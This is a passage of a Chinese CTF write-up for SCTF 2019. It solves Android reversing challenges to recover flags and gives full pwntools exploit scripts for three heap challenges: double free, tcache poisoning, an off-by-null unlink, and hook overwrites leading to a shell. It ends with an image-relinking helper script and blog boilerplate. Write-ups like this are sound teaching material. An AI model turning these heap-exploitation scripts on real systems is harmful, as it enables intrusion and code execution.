try { Object localObject2 = MessageDigest.getInstance("MD5"); ((MessageDigest)localObject2).update("syclover".getBytes()); BigInteger localBigInteger = new java/math/BigInteger; localBigInteger.<init>(1, ((MessageDigest)localObject2).digest()); localObject2 = localBigInteger.toString(16); localObject1 = localObject2; } catch (Exception localException) { localException.printStackTrace(); }
照着写了个函数:
public static void genMd5(){ String plaintext = "syclover"; try{ MessageDigest m = MessageDigest.getInstance("MD5"); m.reset(); m.update(plaintext.getBytes()); byte[] digest = m.digest(); BigInteger bigInt = new BigInteger(1,digest); String hashtext = bigInt.toString(16); System.out.print(hashtext); } catch (Exception localException) { localException.printStackTrace(); } }
得到 8bfc8af07bca146c937f283b8ec768d4
那个关键比较有个encode函数:
public static String encode(String paramString1, String paramString2) { int i = paramString1.length(); int j = paramString2.length(); StringBuilder localStringBuilder = new StringBuilder(); for (int k = 0; k < i; k++) { localStringBuilder.append(paramString1.charAt(k)); localStringBuilder.append(paramString2.charAt(k / j)); } return localStringBuilder.toString(); }
出题人好像把取整跟取余搞混了。应该是k % j
这样的话,直接在flag里插入8得到字符串:~8t808_8A8n848r808i8d8-8w808r8l8d8}8
所以后半段flag: ~t0_An4r0id-w0rld}
所以整个flag: sctf{W3lc0me~t0_An4r0id-w0rld}
cipher = C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53 len(cipher) = 80
用jeb打开,能最终定位到一个关键函数,这个函数输入两个参数
第一个是flag,第二个是hellodsctf字符串的md5,输出为cipher。
直接爆破每一位
import java.lang.String; public class Main { public static void main(String[] args) { c a = new c(); String flag = "sctf{"; String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>?@[]^_{|}~"; String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53"; for(int j=0;j<100;j++) { for(int i=0;i<printable.length();i++) { String now= flag + printable.charAt(i); //System.out.println(now); String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5"); if(ss.indexOf(d) == 0) { System.out.println("flag: " + now); flag = now; } } //break; } } }
Pwn
one_heap
存在double free的漏洞,利用heap的地址爆破proc的偏移实现house of three leak,
然后常规的tache attack就行。爆破几率在1/4096估计跑一下午就能出来。。
from pwn import* context.log_level = "debug" p = process("./one_heap") a = ELF("./libc-2.27.so") #p = remote("47.104.89.129",10001) gdb.attach(p) def new(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the content:") p.sendline(content) def remove(): p.recvuntil("Your choice:") p.sendline("2") def new0(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the content:") p.send(content) new(0x60,"aaa") remove() remove() new(0x60,"x20x60") new(0x60,"b") raw_input() new(0x60,"x60x07") pay = p64(0xfbad1880) + p64(0)*3 + "x00" new(0x60,pay) libc_addr = u64(p.recvuntil("x7f")[8:8+6].ljust(8,"x00"))-0x3ed8b0 print hex(libc_addr) malloc_hook = a.symbols["__malloc_hook"]+libc_addr relloc_hook = a.symbols["__realloc_hook"]+libc_addr print hex(malloc_hook) one = 0x4f2c5+libc_addr print one new(0x50,"a") remove() remove() new(0x50,p64(relloc_hook)) new(0x50,"peanuts") new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe)) print hex(one) new(0x30,"b") p.interactive()
two_heap
漏洞点和one heap一样,同样是有tache的版本,
先绕过size的检查利用 0x0,0x8,0x10,0x18
进行绕过,
然后利用printf_chk可以用 a
来leak的特性算出libc
然后就可以attack free_hook然后通过 free("/bin/sh")
getshell。
from pwn import* context.log_level = "debug" #p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"}) a = ELF("./libc-2.26.so") p = remote("47.104.89.129",10002) #gdb.attach(p)#,"b *0x5555555554a0") def new(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the note:") p.sendline(content) def remove(idx): p.recvuntil("Your choice:") p.sendline("2") p.recvuntil("Input the index:") p.sendline(str(idx)) def new0(size,content): p.recvuntil("Your choice:") p.sendline("1") p.recvuntil("Input the size:") p.sendline(str(size)) p.recvuntil("Input the note:") p.send(content) p.recvuntil("Welcome to SCTF:") p.sendline("%a"*5) p.recvuntil("0x0p+00x0p+00x0.0") lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"] free_hook = a.symbols["__free_hook"]+lib_addr system = lib_addr+a.symbols["system"] print hex(lib_addr) new0(0x1," ") remove(0) remove(0) raw_input() new0(0x8,p64(free_hook)) new0(0x10,"n") new(24,p64(system)) new(0x60,"/bin/shx00") remove(4) p.interactive()
easy_heap
漏洞点在off by null,可以利用unlink控制全局变量改mmap内存为shellcode,
接着利用控制的区域构造一个fake chunk
然后free使得它进入unsortedbin,利用控制覆盖低位,指向malloc_hook,
然后再edit改为mmap的地址就可以getshell了。
from pwn import* context.arch = "amd64" context.log_level = "debug" #p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"}) a = ELF("./easy_heap") e = a.libc print hex(e.symbols["puts"]) p = remote("132.232.100.67",10004) #gdb.attach(p)#,"b *0x5555555554a0") def add(size): p.recvuntil(">> ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def remove(idx): p.recvuntil(">> ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) def edit(idx,content): p.recvuntil(">> ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Content: ") p.sendline(content) p.recvuntil("Mmap: ") mmap_addr = int(p.recvuntil("n",drop=True),16) print hex(mmap_addr) add(0xf8) p.recvuntil("Address 0x") addr = int(p.recvline().strip(),16) - 0x202068 add(0xf8) add(0x20) edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0)) remove(1) edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr)) edit(1,asm(shellcraft.sh())) bss_addr = 0x202040 edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5) remove(1) edit(0,p64(0)*3+p64(0x100)+'x10') edit(3,p64(mmap_addr)) add(0x20) p.interactive()
彩蛋
闲着无聊,写了个将md中的图片外链转为安全客图片链接的脚本:
请自行替换安全客登陆后的Cookie
#!coding:utf-8 import sys import re import requests import base64 import json reload(sys) sys.setdefaultencoding('utf8') requests.packages.urllib3.disable_warnings() Cookie = 'PHPSESSID=xxxx; UM_distinctid=xxxx; wordpress_logged_in_de14bfc29164540b0259654d85d7b021=xxxxx' def open_file(): file_name = sys.argv[1] f = open(file_name,'r') content = f.read() f.close() return content def write_file(new_content): f = open('new_content.md','w') f.write(new_content) f.close() def get_img_link(): link_list = [] file_name = sys.argv[1] for line in open(file_name): line = line.strip() img_link = '' if '![' in line and '](http' in line: is_link = re.compile(r'[(](.*?)[)]', re.S) img_link = re.findall(is_link, line)[0] link_list.append(img_link) return link_list def get_img_base64(link): r = requests.get(link,verify=False) content = r.content img_b64 = base64.b64encode(content) return r.status_code,img_b64 def get_anquanke_link(img_base64): url = 'https://api.anquanke.com/data/v1/file/pic' headers = { 'Origin': 'https://www.anquanke.com', 'Referer': 'https://www.anquanke.com/contribute/new', 'Content-Type': 'application/json;charset=UTF-8', 'Cookie': Cookie } data = { 'image':img_base64 } r = requests.post(url=url,headers=headers,data=json.dumps(data),verify=False) result = r.text # print r.text anquanke_link = json.loads(result)['url'] return r.status_code,anquanke_link def change_paper_link(): content = open_file() link_list = get_img_link() for link in link_list: print 'change link: ' + link status_code,img_b64 = get_img_base64(link) if status_code == 200: print 'get img_base64 success' status_code,anquanke_link = get_anquanke_link(img_b64) if status_code == 200: print 'get anquanke_link success: ' + anquanke_link content = content.replace(link,anquanke_link) else: print 'get anquanke_link fail: ' + anquanke_link else: print 'get img_base64 fail' return content def main(): new_content = change_paper_link() write_file(new_content) print 'get your new paper: new_content.md' main()
运行输出
>>> python .change_paper_link.py SCTF2019-Writeup-De1ta.md change link: https://upload-images.jianshu.io/upload_images/7373593-2975fcf7003b7d74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240 get img_base64 success get anquanke_link success: https://p0.ssl.qhimg.com/t01382fc4f593a308ce.png ------------------------ change link: https://upload-images.jianshu.io/upload_images/7373593-ef36939bde16bbb0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240 get img_base64 success get anquanke_link success: https://p0.ssl.qhimg.com/t01f32c3e4f38589eb6.png ------------------------ get your new paper: new_content.md
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Learning Vue.js 2
Olga Filipova / Packt Publishing / 2017-1-5 / USD 41.99
About This Book Learn how to propagate DOM changes across the website without writing extensive jQuery callbacks code.Learn how to achieve reactivity and easily compose views with Vue.js and unders......一起来看看 《Learning Vue.js 2》 这本书的介绍吧!